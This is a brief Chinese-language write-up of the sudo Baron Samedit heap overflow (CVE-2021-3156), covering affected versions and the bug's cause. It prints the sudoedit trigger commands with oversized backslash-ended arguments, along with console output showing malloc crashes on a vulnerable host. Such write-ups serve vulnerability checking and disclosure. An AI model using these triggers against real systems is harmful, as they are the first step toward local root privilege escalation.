Baron Samedit 漏洞(CVE-2021-3156)影响 sudo 旧版 1.8.2 至 1.8.31p2,以及稳定版 1.9.0 至 1.9.5p1。该基于堆的缓冲区溢出缺陷于 2011 年 7 月通过提交 8255ed69 引入,并潜伏了近十年未被发现。
1.9.5p2 之前的 sudo 包含一个 off-by-one(差一)错误,可导致基于堆的缓冲区溢出,从而通过“sudoedit -s”和以单个反斜杠字符结尾的命令行参数,允许将权限提升为 root。
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)